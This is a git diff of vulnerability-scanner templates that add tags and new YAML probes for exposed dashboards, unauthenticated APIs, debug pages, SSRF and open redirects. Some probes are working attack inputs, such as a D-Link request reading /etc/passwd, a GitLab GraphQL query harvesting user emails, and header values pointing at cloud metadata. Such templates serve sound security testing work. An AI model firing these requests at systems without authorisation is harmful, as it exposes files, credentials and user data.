diff --git a/misconfiguration/aws-redirect.yaml b/misconfiguration/aws-redirect.yaml
index 1a5939194f..010dbbfeca 100644
--- a/misconfiguration/aws-redirect.yaml
+++ b/misconfiguration/aws-redirect.yaml
@@ -5,6 +5,7 @@ info:
author: manikanta a.k.a @secureitmania
severity: info
reference: https://link.medium.com/fgXKJHR9P7
+ tags: aws
requests:
- method: GET
diff --git a/misconfiguration/cgi-test-page.yaml b/misconfiguration/cgi-test-page.yaml
index f845073529..f4878533dd 100644
--- a/misconfiguration/cgi-test-page.yaml
+++ b/misconfiguration/cgi-test-page.yaml
@@ -3,6 +3,7 @@ info:
name: CGI Test page
author: YASH ANAND @yashanand155
severity: info
+ tags: cgi
requests:
- method: GET
diff --git a/misconfiguration/clockwork-dashboard-exposure.yaml b/misconfiguration/clockwork-dashboard-exposure.yaml
new file mode 100644
index 0000000000..3e10886ff7
--- /dev/null
+++ b/misconfiguration/clockwork-dashboard-exposure.yaml
@@ -0,0 +1,30 @@
+id: clockwork-dashboard-exposure
+
+info:
+ name: Clockwork Dashboard Exposure
+ author: dhiyaneshDk
+ severity: high
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/clockwork-dashboard-exposure.json
+ tags: exposure,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/__clockwork/latest"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"id":'
+ - '"version":'
+ - '"method":'
+ - '"url":'
+ - '"time":'
+ part: body
+ condition: and
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
diff --git a/misconfiguration/cloudflare-image-ssrf.yaml b/misconfiguration/cloudflare-image-ssrf.yaml
new file mode 100644
index 0000000000..53750448b2
--- /dev/null
+++ b/misconfiguration/cloudflare-image-ssrf.yaml
@@ -0,0 +1,25 @@
+id: cloudflare-external-image-resize
+
+info:
+ name: Cloudflare External Image Resizing Misconfiguration
+ author: vavkamil
+ severity: info
+ description: Cloudflare Image Resizing defaults to restricting resizing to the same domain. This prevents third parties from resizing any image at any origin. However, you can enable this option if you check Resize images from any origin.
+ reference: https://support.cloudflare.com/hc/en-us/articles/360028146432-Understanding-Cloudflare-Image-Resizing#12345684
+ tags: cloudflare,misconfig,oob
+
+requests:
+ - raw:
+ - |
+ GET /cdn-cgi/image/width/https://{{interactsh-url}} HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
+ Connection: close
+ Accept: */*
+ Accept-Language: en
+
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
diff --git a/misconfiguration/cx-cloud-upload-detect.yaml b/misconfiguration/cx-cloud-upload-detect.yaml
new file mode 100644
index 0000000000..0c48de1457
--- /dev/null
+++ b/misconfiguration/cx-cloud-upload-detect.yaml
@@ -0,0 +1,17 @@
+id: cx-cloud-upload-detect
+
+info:
+ name: CX Cloud Unauthenticated Upload Detect
+ author: dhiyaneshDk
+ severity: info
+ tags: upload
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/upload.jsp'
+ matchers:
+ - type: word
+ words:
+ - "Display file upload form to the user "
+ condition: and
diff --git a/misconfiguration/d-link-arbitary-fileread.yaml b/misconfiguration/d-link-arbitary-fileread.yaml
new file mode 100644
index 0000000000..8c055aea9f
--- /dev/null
+++ b/misconfiguration/d-link-arbitary-fileread.yaml
@@ -0,0 +1,26 @@
+id: dlink-file-read
+
+info:
+ name: D-Link Arbitrary File Read
+ author: dhiyaneshDK
+ severity: high
+ reference: https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html
+ tags: dlink,lfi
+
+requests:
+ - method: POST
+ path:
+ - "{{BaseURL}}/cgi-bin/webproc"
+ body: 'errorpage=/etc/passwd&obj-action=auth&:action=login'
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/django-debug-detect.yaml b/misconfiguration/django-debug-detect.yaml
index 3b65a87847..3e64cd2b66 100644
--- a/misconfiguration/django-debug-detect.yaml
+++ b/misconfiguration/django-debug-detect.yaml
@@ -2,13 +2,14 @@ id: django-debug
info:
name: Django Debug Method Enabled
- author: dhiyaneshDK
+ author: dhiyaneshDK,hackergautam
severity: medium
+ tags: django,debug
requests:
- method: GET
path:
- - "{{BaseURL}}"
+ - "{{BaseURL}}/NON_EXISTING_PATH/"
matchers-condition: and
matchers:
@@ -16,6 +17,7 @@ requests:
words:
- URLconf defined
- Page not found
+ - Django tried these URL patterns, in this order
condition: and
- type: status
diff --git a/misconfiguration/docker-registry.yaml b/misconfiguration/docker-registry.yaml
index f83b830706..635df71db6 100644
--- a/misconfiguration/docker-registry.yaml
+++ b/misconfiguration/docker-registry.yaml
@@ -4,6 +4,7 @@ info:
name: Docker Registry Listing
author: puzzlepeaches
severity: medium
+ tags: docker,devops
requests:
- method: GET
diff --git a/misconfiguration/druid-monitor.yaml b/misconfiguration/druid-monitor.yaml
index d84f3b163c..284d2aec69 100644
--- a/misconfiguration/druid-monitor.yaml
+++ b/misconfiguration/druid-monitor.yaml
@@ -1,8 +1,9 @@
id: druid-monitor
info:
name: Druid Monitor Unauthorized Access
- author: 0h1in9e @ohlinge
+ author: ohlinge
severity: high
+ tags: druid,unauth
requests:
- method: GET
diff --git a/misconfiguration/drupal-user-enum-ajax.yaml b/misconfiguration/drupal/drupal-user-enum-ajax.yaml
similarity index 85%
rename from misconfiguration/drupal-user-enum-ajax.yaml
rename to misconfiguration/drupal/drupal-user-enum-ajax.yaml
index 19c22c1a9e..041d0eee48 100644
--- a/misconfiguration/drupal-user-enum-ajax.yaml
+++ b/misconfiguration/drupal/drupal-user-enum-ajax.yaml
@@ -4,6 +4,7 @@ info:
name: Drupal User Enumration [Ajax]
author: 0w4ys
severity: info
+ tags: drupal
requests:
- method: GET
@@ -14,19 +15,24 @@ requests:
- "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
matchers-condition: and
matchers:
- - type: regex
- regex:
- - '(?i)\{\"a'
- part: body
- type: word
words:
- - "Content-Type: application/json"
+ - '":"a.'
+ - '":"A.'
+ part: body
+
+ - type: word
+ words:
+ - "application/json"
part: header
+
- type: status
status:
- 200
+
extractors:
- type: regex
part: body
diff --git a/misconfiguration/drupal-user-enum-redirect.yaml b/misconfiguration/drupal/drupal-user-enum-redirect.yaml
similarity index 97%
rename from misconfiguration/drupal-user-enum-redirect.yaml
rename to misconfiguration/drupal/drupal-user-enum-redirect.yaml
index bdf4546bb1..4479baf99b 100644
--- a/misconfiguration/drupal-user-enum-redirect.yaml
+++ b/misconfiguration/drupal/drupal-user-enum-redirect.yaml
@@ -4,6 +4,7 @@ info:
name: Drupal User Enumration [Redirect]
author: 0w4ys
severity: info
+ tags: drupal
requests:
- method: GET
diff --git a/misconfiguration/elasticsearch.yaml b/misconfiguration/elasticsearch.yaml
index cb1d61c356..b2fc04965a 100644
--- a/misconfiguration/elasticsearch.yaml
+++ b/misconfiguration/elasticsearch.yaml
@@ -4,6 +4,7 @@ info:
name: ElasticSearch Information Disclosure
author: Shine
severity: low
+ tags: elastic,unauth
requests:
- method: GET
diff --git a/misconfiguration/exposed-docker-api.yaml b/misconfiguration/exposed-docker-api.yaml
index 91c0c5e10b..33d9b3af70 100644
--- a/misconfiguration/exposed-docker-api.yaml
+++ b/misconfiguration/exposed-docker-api.yaml
@@ -2,8 +2,9 @@ id: exposed-docker-api
info:
name: Exposed Docker API
- author: furkansenan & dwisiswant0
+ author: furkansenan,dwisiswant0
severity: info
+ tags: docker,unauth,devops
requests:
- method: GET
@@ -25,4 +26,4 @@ requests:
part: body
- type: status
status:
- - 200
\ No newline at end of file
+ - 200
diff --git a/misconfiguration/exposed-jquery-file-upload.yaml b/misconfiguration/exposed-jquery-file-upload.yaml
new file mode 100644
index 0000000000..cde5168b26
--- /dev/null
+++ b/misconfiguration/exposed-jquery-file-upload.yaml
@@ -0,0 +1,24 @@
+id: exposed-jquery-file-upload
+
+info:
+ name: Exposed jQuery File Upload
+ author: dhiyaneshDk
+ reference: https://www.exploit-db.com/exploits/45584
+ severity: medium
+ tags: exposure,jquery
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/jquery-file-upload/server/php/"
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ regex:
+ - '^{\"files\":'
+ part: body
+ - type: word
+ words:
+ - "text/plain"
+ part: header
diff --git a/misconfiguration/exposed-kafdrop.yaml b/misconfiguration/exposed-kafdrop.yaml
new file mode 100644
index 0000000000..09d0bbd351
--- /dev/null
+++ b/misconfiguration/exposed-kafdrop.yaml
@@ -0,0 +1,19 @@
+id: exposed-kafdrop
+
+info:
+ name: Publicly exposed Kafdrop Interface
+ author: dhiyaneshDk
+ severity: low
+ tags: exposure,misconfig
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers:
+ - type: word
+ words:
+ - "Kafdrop: Broker List "
+ - "Kafka Cluster Overview"
+ condition: and
diff --git a/misconfiguration/exposed-kibana.yaml b/misconfiguration/exposed-kibana.yaml
index c24fb67570..ab295560ea 100644
--- a/misconfiguration/exposed-kibana.yaml
+++ b/misconfiguration/exposed-kibana.yaml
@@ -4,6 +4,7 @@ info:
name: Exposed Kibana
author: Shine
severity: medium
+ tags: kibana,unauth
requests:
- method: GET
diff --git a/misconfiguration/exposed-service-now.yaml b/misconfiguration/exposed-service-now.yaml
index 442e326f95..b3ac7396fa 100644
--- a/misconfiguration/exposed-service-now.yaml
+++ b/misconfiguration/exposed-service-now.yaml
@@ -5,11 +5,10 @@ info:
author: dhiyaneshDK
severity: info
description: detectes misconfigured Service-now ITSM instances
- reference: https://medium.com/@th3g3nt3l/multiple-information-exposed-due-to-misconfigured-service-now-itsm-instances-de7a303ebd56
-
- # Thanks to Th3G3nt3lman for the writeup
- # https://medium.com/@th3g3nt3l/multiple-information-exposed-due-to-misconfigured-service-now-itsm-instances-de7a303ebd56
- # Exploitation :- https://github.com/leo-hildegarde/SnowDownKB/
+ reference: |
+ - https://medium.com/@th3g3nt3l/multiple-information-exposed-due-to-misconfigured-service-now-itsm-instances-de7a303ebd56
+ - https://github.com/leo-hildegarde/SnowDownKB/
+ tags: servicenow
requests:
- method: GET
diff --git a/misconfiguration/exposed-sqlite-manager.yaml b/misconfiguration/exposed-sqlite-manager.yaml
new file mode 100644
index 0000000000..a76ba9d93d
--- /dev/null
+++ b/misconfiguration/exposed-sqlite-manager.yaml
@@ -0,0 +1,23 @@
+id: exposed-sqlite-manager
+
+info:
+ name: SQLiteManager
+ author: dhiyaneshDK
+ severity: medium
+ reference: https://www.exploit-db.com/ghdb/5003
+ tags: sqlite
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/sqlite/'
+ - '{{BaseURL}}/sqlitemanager/'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'SQLiteManager '
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/front-page-misconfig.yaml b/misconfiguration/front-page-misconfig.yaml
index b73ca9a88d..7e982772b0 100644
--- a/misconfiguration/front-page-misconfig.yaml
+++ b/misconfiguration/front-page-misconfig.yaml
@@ -2,10 +2,9 @@ id: front-page-misconfig
info:
name: FrontPage configuration information discloure
- author: JTeles & pikpikcu
+ author: JTeles,pikpikcu
severity: info
-
- # Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
+ reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
requests:
- method: GET
diff --git a/misconfiguration/gitlab/gitlab-public-repos.yaml b/misconfiguration/gitlab/gitlab-public-repos.yaml
new file mode 100644
index 0000000000..c397d36cbe
--- /dev/null
+++ b/misconfiguration/gitlab/gitlab-public-repos.yaml
@@ -0,0 +1,29 @@
+id: gitlab-public-repos
+
+info:
+ name: GitLab public repositories
+ author: ldionmarcil
+ severity: info
+ tags: gitlab
+ reference: |
+ - https://twitter.com/ldionmarcil/status/1370052344562470922
+ - https://github.com/ldionmarcil/gitlab-unauth-parser
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/api/v4/projects"
+ headers:
+ Cookie: _gitlab_session=
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: header
+ words:
+ - "Set-Cookie: _gitlab_session="
+
+ - type: word
+ part: body
+ words:
+ - "name_with_namespace"
diff --git a/misconfiguration/gitlab/gitlab-public-signup.yaml b/misconfiguration/gitlab/gitlab-public-signup.yaml
new file mode 100644
index 0000000000..dab4bac4c0
--- /dev/null
+++ b/misconfiguration/gitlab/gitlab-public-signup.yaml
@@ -0,0 +1,31 @@
+id: gitlab-public-signup
+info:
+ name: GitLab public signup
+ author: pdteam
+ severity: info
+ tags: gitlab
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/users/sign_in"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Register now '
+ - 'data-qa-selector="new_user_register_button"'
+
+ - type: word
+ words:
+ - 'https://about.gitlab.com'
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'Snippets · Explore · GitLab '
+
+ - type: status
+ status:
+ - 200
+ - type: word
+ condition: or
+ words:
+ - "No snippets found"
+ - "Nothing here."
+ negative: true
+ part: body
diff --git a/misconfiguration/gitlab/gitlab-user-enumeration.yaml b/misconfiguration/gitlab/gitlab-user-enumeration.yaml
new file mode 100644
index 0000000000..50a937dc36
--- /dev/null
+++ b/misconfiguration/gitlab/gitlab-user-enumeration.yaml
@@ -0,0 +1,38 @@
+id: gitlab-user-enumeration
+
+info:
+ name: Gitlab User enumeration
+ author: pikpikcu
+ severity: info
+ tags: gitlab,enum
+
+
+requests:
+ - method: POST
+ path:
+ - "{{BaseURL}}/api/graphql"
+ headers:
+ Content-Type: application/json
+ body: |
+ {
+ "query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n }\n }\n }\n }"
+ }
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "application/json"
+ part: header
+
+ - type: word
+ words:
+ - avatarUrl
+ - username
+ - email
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/hadoop-unauth.yaml b/misconfiguration/hadoop-unauth.yaml
index a034f23851..507e54a6f2 100644
--- a/misconfiguration/hadoop-unauth.yaml
+++ b/misconfiguration/hadoop-unauth.yaml
@@ -2,16 +2,24 @@ id: hadoop-unauth
info:
name: Apache Hadoop Unauth
- author: pd-team
+ author: pdteam
severity: low
+ tags: apache,hadoop,unauth
requests:
- method: GET
path:
- '{{BaseURL}}/ws/v1/cluster/info'
+ - '{{BaseURL}}/ws/v1/cluster/apps/new-application'
+
+ matchers-condition: or
matchers:
- type: word
words:
- 'hadoopVersion'
- 'resourceManagerVersionBuiltOn'
- condition: and
\ No newline at end of file
+ condition: and
+
+ - type: word
+ words:
+ - 'javax.ws.rs.WebApplicationException'
diff --git a/misconfiguration/haproxy-status.yaml b/misconfiguration/haproxy-status.yaml
new file mode 100644
index 0000000000..8f6703580b
--- /dev/null
+++ b/misconfiguration/haproxy-status.yaml
@@ -0,0 +1,23 @@
+id: haproxy-status
+
+info:
+ name: HA Proxy Statistics
+ author: dhiyaneshDK
+ severity: medium
+ reference: https://www.exploit-db.com/ghdb/4191
+ tags: logs,haproxy
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/haproxy-status"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Statistics Report for HAProxy'
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/horde-unauthenticated.yaml b/misconfiguration/horde-unauthenticated.yaml
new file mode 100644
index 0000000000..a147fdb9b5
--- /dev/null
+++ b/misconfiguration/horde-unauthenticated.yaml
@@ -0,0 +1,27 @@
+id: horde-unauthenticated
+
+info:
+ name: Horde Groupware Unauthenticated
+ author: pikpikcu
+ severity: critical
+ tags: horde,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/horde/admin/user.php"
+ - "{{BaseURL}}/admin/user.php"
+ headers:
+ Content-Type: text/html
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ words:
+ - "Horde :: User Administration "
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/http-etcd-unauthenticated-api-data-leak.yaml b/misconfiguration/http-etcd-unauthenticated-api-data-leak.yaml
new file mode 100644
index 0000000000..bec8776583
--- /dev/null
+++ b/misconfiguration/http-etcd-unauthenticated-api-data-leak.yaml
@@ -0,0 +1,30 @@
+id: http-etcd-unauthenticated-api-data-leak
+
+info:
+ name: etcd Unauthenticated HTTP API Leak
+ author: dhiyaneshDk
+ severity: high
+ reference: https://hackerone.com/reports/1088429
+ tags: unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/v2/auth/roles"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"roles"'
+ - '"permissions"'
+ - '"role"'
+ - '"kv"'
+ condition: and
+ part: body
+ - type: status
+ status:
+ - 200
+ - type: word
+ part: header
+ words:
+ - "text/plain"
diff --git a/misconfiguration/iis-internal-ip-disclosure.yaml b/misconfiguration/iis-internal-ip-disclosure.yaml
new file mode 100644
index 0000000000..ea0a55b062
--- /dev/null
+++ b/misconfiguration/iis-internal-ip-disclosure.yaml
@@ -0,0 +1,34 @@
+id: iis-internal-ip-disclosure
+
+info:
+ name: IIS Internal IP Disclosure Template
+ author: WillD96
+ severity: info
+ tags: iis,misconfig,disclosure
+ reference: https://support.kemptechnologies.com/hc/en-us/articles/203522429-How-to-Mitigate-Against-Internal-IP-Address-Domain-Name-Disclosure-In-Real-Server-Redirect
+
+requests:
+ - raw:
+ - |+
+ GET / HTTP/1.0
+ Host:
+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+ Accept: */*
+
+ unsafe: true # Use Unsafe HTTP library for malformed HTTP requests.
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: header
+ regex:
+ - '([0-9]{1,3}[\.]){3}[0-9]{1,3}'
+
+ - type: status
+ status:
+ - 302
+
+ extractors:
+ - type: regex
+ part: header
+ regex:
+ - '([0-9]{1,3}[\.]){3}[0-9]{1,3}'
\ No newline at end of file
diff --git a/misconfiguration/java-melody-exposed.yaml b/misconfiguration/java-melody-exposed.yaml
new file mode 100644
index 0000000000..0139f7ec02
--- /dev/null
+++ b/misconfiguration/java-melody-exposed.yaml
@@ -0,0 +1,26 @@
+id: java-melody-exposed
+
+info:
+ name: JavaMelody Monitoring Exposed
+ author: dhiyaneshDK,thomas_from_offensity
+ severity: medium
+ description: JavaMelody is a tool used to monitor Java or Java EE applications in QA and production environments. JavaMelody was detected on this web application. One option in the dashboard is to “View http sessions”. This can be used by an attacker to steal a user’s session.
+ reference: |
+ - https://www.acunetix.com/vulnerabilities/web/javamelody-publicly-accessible/
+ - https://github.com/javamelody/javamelody/wiki/UserGuide#16-security
+ tags: config,java,javamelody
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/monitoring'
+ - '{{BaseURL}}/..%3B/monitoring'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Monitoring JavaMelody on'
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/jboss-status.yaml b/misconfiguration/jboss-status.yaml
index 9c0e9e66b7..372a3f7b83 100644
--- a/misconfiguration/jboss-status.yaml
+++ b/misconfiguration/jboss-status.yaml
@@ -5,6 +5,7 @@ info:
author: dhiyaneshDK
severity: low
reference: https://www.exploit-db.com/ghdb/5215
+ tags: jboss,unauth
requests:
- method: GET
diff --git a/misconfiguration/jetty-showcontexts-enable.yaml b/misconfiguration/jetty-showcontexts-enable.yaml
new file mode 100644
index 0000000000..a146bdcb2d
--- /dev/null
+++ b/misconfiguration/jetty-showcontexts-enable.yaml
@@ -0,0 +1,23 @@
+id: jetty-showcontexts-enable
+
+info:
+ name: Jetty showContexts Enable in DefaultHandler
+ author: dhiyaneshDK
+ severity: low
+ reference: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/jetty-showcontexts-enable.yaml
+ tags: jetty
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Contexts known to this server are:"
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/jkstatus-manager.yaml b/misconfiguration/jkstatus-manager.yaml
index 53669fd626..8b01538324 100644
--- a/misconfiguration/jkstatus-manager.yaml
+++ b/misconfiguration/jkstatus-manager.yaml
@@ -2,8 +2,9 @@ id: jkstatus-manager
info:
name: JK Status Manager
- author: pd-team
+ author: pdteam
severity: low
+ tags: config
requests:
- method: GET
diff --git a/misconfiguration/jupyter-ipython-unauth.yaml b/misconfiguration/jupyter-ipython-unauth.yaml
index d8a0832767..c2b980f407 100644
--- a/misconfiguration/jupyter-ipython-unauth.yaml
+++ b/misconfiguration/jupyter-ipython-unauth.yaml
@@ -5,6 +5,7 @@ info:
author: pentest_swissky
severity: critical
description: Unauthenticated access to Jupyter instance
+ tags: unauth
requests:
- method: GET
diff --git a/misconfiguration/kubeflow-dashboard-unauth.yaml b/misconfiguration/kubeflow-dashboard-unauth.yaml
new file mode 100644
index 0000000000..4aa35f95c9
--- /dev/null
+++ b/misconfiguration/kubeflow-dashboard-unauth.yaml
@@ -0,0 +1,30 @@
+id: kubeflow-dashboard-unauth
+
+info:
+ name: Kubeflow Unauth
+ author: dhiyaneshDk
+ severity: high
+ reference: https://github.com/kubeflow/kubeflow
+ tags: kubeflow,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/pipeline/apis/v1beta1/runs?page_size=5&sort_by=created_at%20desc'
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '{"runs":[{"id":'
+ - 'resource_references'
+ condition: and
+ part: body
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/kubernetes-pods.yaml b/misconfiguration/kubernetes-pods.yaml
index 29bc436cbc..97e6143374 100644
--- a/misconfiguration/kubernetes-pods.yaml
+++ b/misconfiguration/kubernetes-pods.yaml
@@ -2,10 +2,11 @@ id: kubernetes-pods-api
info:
name: Kubernetes Pods API
- author: ilovebinbash & geeknik & 0xtavian
+ author: ilovebinbash,geeknik,0xtavian
severity: critical
description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.
reference: https://blog.binaryedge.io/2018/12/06/kubernetes-being-hijacked-worldwide/
+ tags: k8,unauth,kubernetes,devops
requests:
- method: GET
diff --git a/misconfiguration/laravel-debug-enabled.yaml b/misconfiguration/laravel-debug-enabled.yaml
new file mode 100644
index 0000000000..06791732aa
--- /dev/null
+++ b/misconfiguration/laravel-debug-enabled.yaml
@@ -0,0 +1,22 @@
+id: laravel-debug-enabled
+info:
+ name: Laravel Debug Enabled
+ author: notsoevilweasel
+ description: Laravel with APP_DEBUG set to true prone to showing verbose errors.
+ severity: medium
+ tags: debug,laravel,misconfig
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/_ignition/health-check"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - can_execute_commands
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/larvel-debug.yaml b/misconfiguration/laravel-debug-error.yaml
similarity index 82%
rename from misconfiguration/larvel-debug.yaml
rename to misconfiguration/laravel-debug-error.yaml
index 2235ef16af..62629f29c9 100644
--- a/misconfiguration/larvel-debug.yaml
+++ b/misconfiguration/laravel-debug-error.yaml
@@ -1,9 +1,10 @@
-id: larvel-debug-error
+id: laravel-debug-error
info:
name: Larvel Debug Method Enabled
author: dhiyaneshDK
severity: medium
+ tags: debug,laravel
requests:
- method: GET
diff --git a/misconfiguration/linkerd-ssrf-detect.yaml b/misconfiguration/linkerd-ssrf-detect.yaml
index a1d3c16688..2eff47e123 100644
--- a/misconfiguration/linkerd-ssrf-detect.yaml
+++ b/misconfiguration/linkerd-ssrf-detect.yaml
@@ -1,66 +1,21 @@
-id: linkerd-ssrf-detect
-
-# Detect the Linkerd service by overriding the delegation table and
-# inspect the response for:
-# - a "Via: .. linkerd .."
-# - a "l5d-err" and/or a "l5d-success" header
-# - a verbose timeout error (binding timeout)
-# - a full response
-# The full-response case indicates a possible SSRF condition, the others
-# only indicates the service presence.
-#
-# If a full-response is returned you should really manually probe requests with
-# the following header values:
-#
-# - "l5d-dtab: /svc/* => /$/inet/yourserver.com/80", to get to other external hosts
-# - "l5d-dtab: /svc/* => /$/inet/169.254.169.254/80", to get to cloud metadata
+id: linkerd-ssrf-detection
info:
name: Linkerd SSRF detection
author: dudez
- severity: info
+ severity: high
+ tags: ssrf,linkerd,oob
+ reference: https://twitter.com/nirvana_msu/status/1084144955034165248
requests:
- method: GET
path:
- "{{BaseURL}}"
headers:
- l5d-dtab: /svc/* => /$/inet/example.com/443
+ l5d-dtab: /svc/* => /$/inet/{{interactsh-url}}/443
- matchers-condition: or
matchers:
- - type: regex
- name: via-linkerd-present
- regex:
- - '(?mi)^Via\s*?:.*?linkerd.*$'
- part: header
-
- - type: regex
- name: l5d-err-present
- regex:
- - '(?mi)^l5d-err:.*$'
- part: header
-
- - type: regex
- name: l5d-success-class-present
- regex:
- - '(?mi)^l5d-success-class: 0.*$'
- part: header
-
- type: word
- name: ssrf-response-body
+ part: interactsh_protocol # Confirms the HTTP Interaction
words:
- - 'This domain is for use in illustrative examples in documents.'
- part: body
-
- - type: regex
- name: resolve-timeout-error-present
- regex:
- - '(?mi)Exceeded .*? binding timeout while resolving name'
- part: body
-
- - type: regex
- name: dynbind-error-present
- regex:
- - '(?mi)exceeded .*? to unspecified while dyn binding'
- part: body
+ - "http"
\ No newline at end of file
diff --git a/misconfiguration/manage-engine-ad-search.yaml b/misconfiguration/manage-engine-ad-search.yaml
index a26478ea23..af59184334 100644
--- a/misconfiguration/manage-engine-ad-search.yaml
+++ b/misconfiguration/manage-engine-ad-search.yaml
@@ -5,6 +5,7 @@ info:
author: PR3R00T
severity: high
description: Manage Engine AD Manager service can be configured to allow anonymous users to browse the AD list remotely.
+ tags: unauth
requests:
- method: GET
diff --git a/misconfiguration/mikrotik-graph.yaml b/misconfiguration/mikrotik-graph.yaml
index 4a4b4e3805..c1502e4f0e 100644
--- a/misconfiguration/mikrotik-graph.yaml
+++ b/misconfiguration/mikrotik-graph.yaml
@@ -5,6 +5,7 @@ info:
author: dhiyaneshDK
severity: low
reference: https://www.exploit-db.com/ghdb/4395
+ tags: unauth
requests:
- method: GET
diff --git a/misconfiguration/misconfigured-docker.yaml b/misconfiguration/misconfigured-docker.yaml
index 16226b018b..cac0c3da2a 100644
--- a/misconfiguration/misconfigured-docker.yaml
+++ b/misconfiguration/misconfigured-docker.yaml
@@ -5,6 +5,7 @@ info:
author: dhiyaneshDK
severity: critical
reference: https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/misconfiguration.html
+ tags: docker,unauth,devops
requests:
- method: GET
diff --git a/misconfiguration/nginx-status.yaml b/misconfiguration/nginx/nginx-status.yaml
similarity index 93%
rename from misconfiguration/nginx-status.yaml
rename to misconfiguration/nginx/nginx-status.yaml
index 5d2e4dc900..0213a72eb5 100644
--- a/misconfiguration/nginx-status.yaml
+++ b/misconfiguration/nginx/nginx-status.yaml
@@ -4,6 +4,7 @@ info:
name: Nginx Status Page
author: dhiyaneshDK
severity: low
+ tags: misconfig,nginx
requests:
- method: GET
diff --git a/misconfiguration/nginx/nginx-vhost-traffic-status.yaml b/misconfiguration/nginx/nginx-vhost-traffic-status.yaml
new file mode 100644
index 0000000000..f6f6f728ca
--- /dev/null
+++ b/misconfiguration/nginx/nginx-vhost-traffic-status.yaml
@@ -0,0 +1,25 @@
+id: nginx-vhost-traffic-status
+
+info:
+ name: Nginx Vhost Traffic Status
+ author: geeknik
+ reference: https://github.com/vozlt/nginx-module-vts
+ severity: low
+ tags: status,nginx,misconfig
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/status"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Nginx Vhost Traffic Status"
+ - "Host"
+ - "Zone"
+ condition: and
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/office365-open-redirect.yaml b/misconfiguration/office365-open-redirect.yaml
new file mode 100644
index 0000000000..92989fd195
--- /dev/null
+++ b/misconfiguration/office365-open-redirect.yaml
@@ -0,0 +1,24 @@
+id: office365-open-redirect
+
+info:
+ name: Office365 Open Redirect From Autodiscover
+ author: dhiyaneshDk
+ severity: low
+ reference: https://medium.com/@heinjame/office365-open-redirect-from-autodiscover-64284d26c168
+ tags: redirect,office365,microsoft
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/autodiscover/autodiscover.json/v1.0/{{randstr}}@interact.sh?Protocol=Autodiscoverv1"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: header
+ words:
+ - "autodiscover.interact.sh"
+
+ - type: status
+ status:
+ - 302
diff --git a/misconfiguration/php-errors.yaml b/misconfiguration/php-errors.yaml
index d1682fe207..d4b4f20178 100644
--- a/misconfiguration/php-errors.yaml
+++ b/misconfiguration/php-errors.yaml
@@ -4,6 +4,7 @@ info:
name: PHP errors
author: w4cky_
severity: info
+ tags: debug
requests:
- method: GET
